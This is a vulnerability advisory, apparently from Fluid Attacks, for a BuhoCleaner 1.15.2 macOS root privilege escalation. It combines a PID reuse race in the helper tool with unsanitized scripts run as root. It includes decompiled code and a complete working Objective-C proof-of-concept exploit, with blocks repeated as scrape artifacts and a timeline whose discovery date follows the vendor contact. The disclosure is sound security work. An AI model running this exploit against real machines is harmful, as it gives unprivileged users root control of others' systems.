
BuhoCleaner 1.15.2 - Local Privilege Escalation via PID reuse attack
7,3
High
7,3
High
Discovered by
Offensive Team, Fluid Attacks
Summary
Full name
BuhoCleaner 1.15.2 - Local Privilege Escalation via PID reuse attack
Code name
State
Public
Release date
30 ene 2026
Affected product
BuhoCleaner
Vendor
Dr. Buho
Affected version(s)
1.15.2
Fixed version(s)
1.15.3
Vulnerability name
Privilege escalation
Vulnerability type
Remotely exploitable
No
CVSS v4.0 vector string
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS v4.0 base score
7.3
Exploit available
Yes
CVE ID(s)
Description
BuhoCleaner for macOS contains a vulnerability in its privileged helper tool that allows any local user to execute arbitrary commands as root without authentication. The vulnerability exists in the XPC service com.drbuho.BuhoCleaner.PrivilegedHelperTool due to a PID reuse attack, enabling complete system compromise.
Vulnerability
PID Reuse Attack
The privileged helper validates incoming XPC connections by checking the code signature of the connecting process using its PID. However, PIDs can be reused through the posix_spawn system call with the POSIX_SPAWN_SETEXEC flag, allowing an attacker to bypass code signature validation through a time-of-check-time-of-use (TOCTOU) race condition.
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection { // VULNERABLE: Uses processIdentifier instead of auditToken int pid = [newConnection processIdentifier]; // Validate code signature using PID BOOL valid = [self checkSigningForPID:pid]; if (valid) { [newConnection resume]; return YES; } return NO; }
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection { // VULNERABLE: Uses processIdentifier instead of auditToken int pid = [newConnection processIdentifier]; // Validate code signature using PID BOOL valid = [self checkSigningForPID:pid]; if (valid) { [newConnection resume]; return YES; } return NO; }
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection { // VULNERABLE: Uses processIdentifier instead of auditToken int pid = [newConnection processIdentifier]; // Validate code signature using PID BOOL valid = [self checkSigningForPID:pid]; if (valid) { [newConnection resume]; return YES; } return NO; }
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection { // VULNERABLE: Uses processIdentifier instead of auditToken int pid = [newConnection processIdentifier]; // Validate code signature using PID BOOL valid = [self checkSigningForPID:pid]; if (valid) { [newConnection resume]; return YES; } return NO; }
Attack flow:
The attacker process creates an XPC connection.
Attacker sends XPC message (queued in helper).
Attacker calls posix_spawn(POSIX_SPAWN_SETEXEC).
Attacker process becomes a valid signed binary (BuhoCleaner.app).
Helper validates PID → sees valid signature.
Helper processes the queue message from the attacker.
Helper accepts the connection and executes privileged operations.
Command Injection
The deleteAtPaths:withScripts: XPC method accepts an array of shell scripts and executes them as root without any validation. The scripts are passed directly to "/bin/sh -c", allowing arbitrary command execution.
// Decompiled from BCFileDeleter::deleteFiles - (void)deleteFiles { // ... paths deletion code ... // Execute scripts from user input for (NSString *script in self.scripts) { NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/bin/sh"]; // Shell execution [task setArguments:@[@"-c", script]]; // NO SANITIZATION [task launch]; // Executes as root } }
// Decompiled from BCFileDeleter::deleteFiles - (void)deleteFiles { // ... paths deletion code ... // Execute scripts from user input for (NSString *script in self.scripts) { NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/bin/sh"]; // Shell execution [task setArguments:@[@"-c", script]]; // NO SANITIZATION [task launch]; // Executes as root } }
// Decompiled from BCFileDeleter::deleteFiles - (void)deleteFiles { // ... paths deletion code ... // Execute scripts from user input for (NSString *script in self.scripts) { NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/bin/sh"]; // Shell execution [task setArguments:@[@"-c", script]]; // NO SANITIZATION [task launch]; // Executes as root } }
// Decompiled from BCFileDeleter::deleteFiles - (void)deleteFiles { // ... paths deletion code ... // Execute scripts from user input for (NSString *script in self.scripts) { NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/bin/sh"]; // Shell execution [task setArguments:@[@"-c", script]]; // NO SANITIZATION [task launch]; // Executes as root } }
This function is called from BCHelper::deleteAtPaths:withScripts: after creating an object BCFileDeleter and initializing it.
- (void)deleteAtPaths:(NSArray *)paths withScripts:(NSArray *)scripts { BCFileDeleter *deleter = [[BCFileDeleter alloc] initWithPaths:paths withScripts:scripts]; // scripts stored unsanitized [deleter setDelegate:self]; [deleter start]; // Eventually calls deleteFiles }
- (void)deleteAtPaths:(NSArray *)paths withScripts:(NSArray *)scripts { BCFileDeleter *deleter = [[BCFileDeleter alloc] initWithPaths:paths withScripts:scripts]; // scripts stored unsanitized [deleter setDelegate:self]; [deleter start]; // Eventually calls deleteFiles }
- (void)deleteAtPaths:(NSArray *)paths withScripts:(NSArray *)scripts { BCFileDeleter *deleter = [[BCFileDeleter alloc] initWithPaths:paths withScripts:scripts]; // scripts stored unsanitized [deleter setDelegate:self]; [deleter start]; // Eventually calls deleteFiles }
- (void)deleteAtPaths:(NSArray *)paths withScripts:(NSArray *)scripts { BCFileDeleter *deleter = [[BCFileDeleter alloc] initWithPaths:paths withScripts:scripts]; // scripts stored unsanitized [deleter setDelegate:self]; [deleter start]; // Eventually calls deleteFiles }
Exploitation Chain
Combining both vulnerabilities:
Bypass Authentication: Use PID reuse to bypass code signature validation.
Inject Commands: Call deleteAtPaths:withScripts: with malicious payload.
Execute as Root: Helper executes arbitrary commands with root privileges.
PoC
The following Proof of Concept demonstrates the complete exploitation chain from unprivileged user to root command execution.
// clang -framework Foundation -framework Security buho_poc_rce.m -o buho_poc_rce #import <Foundation/Foundation.h> #include <spawn.h> #include <signal.h> static NSString* XPCHelperMachServiceName = @"com.drbuho.BuhoCleaner.PrivilegedHelperTool"; @protocol BCHelperProtocol - (void)deleteAtPaths:(NSArray *)paths withScripts:(NSArray *)scripts; @end #define kValid "/Applications/BuhoCleaner.app/Contents/MacOS/BuhoCleaner" #define OUTPUT_FILE "/tmp/buho_rce_proof.txt" int main(void) { extern char **environ; NSLog(@""); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@" BuhoCleaner RCE - Command Injection PoC"); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@""); // Payload NSString *payload = [NSString stringWithFormat:@"id > %s", OUTPUT_FILE]; int pid = fork(); if (pid == 0) { @autoreleasepool { int my_pid = getpid(); NSLog(@"[Child %d] Establishing XPC connection...", my_pid); NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:XPCHelperMachServiceName options:4096]; [connection setRemoteObjectInterface: [NSXPCInterface interfaceWithProtocol:@protocol(BCHelperProtocol)]]; [connection setInvalidationHandler:^{}]; [connection setInterruptionHandler:^{}]; [connection resume]; id proxy = [connection synchronousRemoteObjectProxyWithErrorHandler:^(NSError* error) { NSLog(@"[Child %d] XPC Error: %@", my_pid, error.localizedDescription); }]; NSLog(@"[Child %d] Injecting malicious command...", my_pid); NSLog(@"[Child %d] Payload: %@", my_pid, payload); // Command injection using the withScripts parameter [proxy deleteAtPaths:@[] withScripts:@[payload]]; NSLog(@"[Child %d] Command sent, doing exec for PID reuse...", my_pid); usleep(100000); // PID reuse attack char target_binary[] = kValid; char *target_argv[] = {target_binary, NULL}; posix_spawnattr_t attr; posix_spawnattr_init(&attr); short flags; posix_spawnattr_getflags(&attr, &flags); flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED); posix_spawnattr_setflags(&attr, flags); posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ); exit(1); } } NSLog(@"[*] Waiting for command execution (3 seconds)..."); sleep(3); NSLog(@""); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@" Verifying Result"); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@""); // Read the result NSString *result = [NSString stringWithContentsOfFile:@OUTPUT_FILE encoding:NSUTF8StringEncoding error:nil]; if (result) { NSLog(@" SUCCESS! Command executed as root"); NSLog(@"Content of %s:", OUTPUT_FILE); NSLog(@""); NSLog(@" %@", [result stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]]); NSLog(@""); } else { NSLog(@"Could not read the file"); NSLog(@"[-] The attack may not have worked"); } kill(pid, 9); return 0; }
// clang -framework Foundation -framework Security buho_poc_rce.m -o buho_poc_rce #import <Foundation/Foundation.h> #include <spawn.h> #include <signal.h> static NSString* XPCHelperMachServiceName = @"com.drbuho.BuhoCleaner.PrivilegedHelperTool"; @protocol BCHelperProtocol - (void)deleteAtPaths:(NSArray *)paths withScripts:(NSArray *)scripts; @end #define kValid "/Applications/BuhoCleaner.app/Contents/MacOS/BuhoCleaner" #define OUTPUT_FILE "/tmp/buho_rce_proof.txt" int main(void) { extern char **environ; NSLog(@""); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@" BuhoCleaner RCE - Command Injection PoC"); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@""); // Payload NSString *payload = [NSString stringWithFormat:@"id > %s", OUTPUT_FILE]; int pid = fork(); if (pid == 0) { @autoreleasepool { int my_pid = getpid(); NSLog(@"[Child %d] Establishing XPC connection...", my_pid); NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:XPCHelperMachServiceName options:4096]; [connection setRemoteObjectInterface: [NSXPCInterface interfaceWithProtocol:@protocol(BCHelperProtocol)]]; [connection setInvalidationHandler:^{}]; [connection setInterruptionHandler:^{}]; [connection resume]; id proxy = [connection synchronousRemoteObjectProxyWithErrorHandler:^(NSError* error) { NSLog(@"[Child %d] XPC Error: %@", my_pid, error.localizedDescription); }]; NSLog(@"[Child %d] Injecting malicious command...", my_pid); NSLog(@"[Child %d] Payload: %@", my_pid, payload); // Command injection using the withScripts parameter [proxy deleteAtPaths:@[] withScripts:@[payload]]; NSLog(@"[Child %d] Command sent, doing exec for PID reuse...", my_pid); usleep(100000); // PID reuse attack char target_binary[] = kValid; char *target_argv[] = {target_binary, NULL}; posix_spawnattr_t attr; posix_spawnattr_init(&attr); short flags; posix_spawnattr_getflags(&attr, &flags); flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED); posix_spawnattr_setflags(&attr, flags); posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ); exit(1); } } NSLog(@"[*] Waiting for command execution (3 seconds)..."); sleep(3); NSLog(@""); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@" Verifying Result"); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@""); // Read the result NSString *result = [NSString stringWithContentsOfFile:@OUTPUT_FILE encoding:NSUTF8StringEncoding error:nil]; if (result) { NSLog(@" SUCCESS! Command executed as root"); NSLog(@"Content of %s:", OUTPUT_FILE); NSLog(@""); NSLog(@" %@", [result stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]]); NSLog(@""); } else { NSLog(@"Could not read the file"); NSLog(@"[-] The attack may not have worked"); } kill(pid, 9); return 0; }
// clang -framework Foundation -framework Security buho_poc_rce.m -o buho_poc_rce #import <Foundation/Foundation.h> #include <spawn.h> #include <signal.h> static NSString* XPCHelperMachServiceName = @"com.drbuho.BuhoCleaner.PrivilegedHelperTool"; @protocol BCHelperProtocol - (void)deleteAtPaths:(NSArray *)paths withScripts:(NSArray *)scripts; @end #define kValid "/Applications/BuhoCleaner.app/Contents/MacOS/BuhoCleaner" #define OUTPUT_FILE "/tmp/buho_rce_proof.txt" int main(void) { extern char **environ; NSLog(@""); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@" BuhoCleaner RCE - Command Injection PoC"); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@""); // Payload NSString *payload = [NSString stringWithFormat:@"id > %s", OUTPUT_FILE]; int pid = fork(); if (pid == 0) { @autoreleasepool { int my_pid = getpid(); NSLog(@"[Child %d] Establishing XPC connection...", my_pid); NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:XPCHelperMachServiceName options:4096]; [connection setRemoteObjectInterface: [NSXPCInterface interfaceWithProtocol:@protocol(BCHelperProtocol)]]; [connection setInvalidationHandler:^{}]; [connection setInterruptionHandler:^{}]; [connection resume]; id proxy = [connection synchronousRemoteObjectProxyWithErrorHandler:^(NSError* error) { NSLog(@"[Child %d] XPC Error: %@", my_pid, error.localizedDescription); }]; NSLog(@"[Child %d] Injecting malicious command...", my_pid); NSLog(@"[Child %d] Payload: %@", my_pid, payload); // Command injection using the withScripts parameter [proxy deleteAtPaths:@[] withScripts:@[payload]]; NSLog(@"[Child %d] Command sent, doing exec for PID reuse...", my_pid); usleep(100000); // PID reuse attack char target_binary[] = kValid; char *target_argv[] = {target_binary, NULL}; posix_spawnattr_t attr; posix_spawnattr_init(&attr); short flags; posix_spawnattr_getflags(&attr, &flags); flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED); posix_spawnattr_setflags(&attr, flags); posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ); exit(1); } } NSLog(@"[*] Waiting for command execution (3 seconds)..."); sleep(3); NSLog(@""); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@" Verifying Result"); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@""); // Read the result NSString *result = [NSString stringWithContentsOfFile:@OUTPUT_FILE encoding:NSUTF8StringEncoding error:nil]; if (result) { NSLog(@" SUCCESS! Command executed as root"); NSLog(@"Content of %s:", OUTPUT_FILE); NSLog(@""); NSLog(@" %@", [result stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]]); NSLog(@""); } else { NSLog(@"Could not read the file"); NSLog(@"[-] The attack may not have worked"); } kill(pid, 9); return 0; }
// clang -framework Foundation -framework Security buho_poc_rce.m -o buho_poc_rce #import <Foundation/Foundation.h> #include <spawn.h> #include <signal.h> static NSString* XPCHelperMachServiceName = @"com.drbuho.BuhoCleaner.PrivilegedHelperTool"; @protocol BCHelperProtocol - (void)deleteAtPaths:(NSArray *)paths withScripts:(NSArray *)scripts; @end #define kValid "/Applications/BuhoCleaner.app/Contents/MacOS/BuhoCleaner" #define OUTPUT_FILE "/tmp/buho_rce_proof.txt" int main(void) { extern char **environ; NSLog(@""); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@" BuhoCleaner RCE - Command Injection PoC"); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@""); // Payload NSString *payload = [NSString stringWithFormat:@"id > %s", OUTPUT_FILE]; int pid = fork(); if (pid == 0) { @autoreleasepool { int my_pid = getpid(); NSLog(@"[Child %d] Establishing XPC connection...", my_pid); NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:XPCHelperMachServiceName options:4096]; [connection setRemoteObjectInterface: [NSXPCInterface interfaceWithProtocol:@protocol(BCHelperProtocol)]]; [connection setInvalidationHandler:^{}]; [connection setInterruptionHandler:^{}]; [connection resume]; id proxy = [connection synchronousRemoteObjectProxyWithErrorHandler:^(NSError* error) { NSLog(@"[Child %d] XPC Error: %@", my_pid, error.localizedDescription); }]; NSLog(@"[Child %d] Injecting malicious command...", my_pid); NSLog(@"[Child %d] Payload: %@", my_pid, payload); // Command injection using the withScripts parameter [proxy deleteAtPaths:@[] withScripts:@[payload]]; NSLog(@"[Child %d] Command sent, doing exec for PID reuse...", my_pid); usleep(100000); // PID reuse attack char target_binary[] = kValid; char *target_argv[] = {target_binary, NULL}; posix_spawnattr_t attr; posix_spawnattr_init(&attr); short flags; posix_spawnattr_getflags(&attr, &flags); flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED); posix_spawnattr_setflags(&attr, flags); posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ); exit(1); } } NSLog(@"[*] Waiting for command execution (3 seconds)..."); sleep(3); NSLog(@""); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@" Verifying Result"); NSLog(@"═══════════════════════════════════════════════════════════"); NSLog(@""); // Read the result NSString *result = [NSString stringWithContentsOfFile:@OUTPUT_FILE encoding:NSUTF8StringEncoding error:nil]; if (result) { NSLog(@" SUCCESS! Command executed as root"); NSLog(@"Content of %s:", OUTPUT_FILE); NSLog(@""); NSLog(@" %@", [result stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]]); NSLog(@""); } else { NSLog(@"Could not read the file"); NSLog(@"[-] The attack may not have worked"); } kill(pid, 9); return 0; }
Evidence of Exploitation
PoC:




Race condition lost:

Race condition won:

Our security policy
We have reserved the ID CVE-2026-0924 to refer to this issue from now on.
System Information
Dr.Buho - BuhoCleaner
Version: 1.15.2
Operating System: Any
References
Product: https://www.drbuho.com/buhocleaner
Contact: https://www.drbuho.com/support
Mitigation
An updated version of BuhoCleaner is available at the vendor page.
Credits
The vulnerability was discovered by Oscar Uribe from Fluid Attacks' Offensive Team.
Timeline
30 ene 2026
Vulnerability discovered
13 ene 2026
Vendor contacted
15 ene 2026
Vendor replied
26 ene 2026
Follow-up with vendor
31 ene 2026
Vulnerability patched
2 feb 2026
Public disclosure
Does your application use this vulnerable software?
During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.
Suscríbete a nuestro boletín
Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.
© 2026 Fluid Attacks. We hack your software.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.
Suscríbete a nuestro boletín
Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.
Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.
© 2026 Fluid Attacks. We hack your software.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.
Suscríbete a nuestro boletín
Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.
Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.
© 2026 Fluid Attacks. We hack your software.
¡Nos vemos en RSA Conference™ 2026 en el booth N-4614! Agenda una demo on-site.
¡Nos vemos en RSA Conference™ 2026 en el booth N-4614! Agenda una demo on-site.
¡Nos vemos en RSA Conference™ 2026 en el booth N-4614! Agenda una demo on-site.





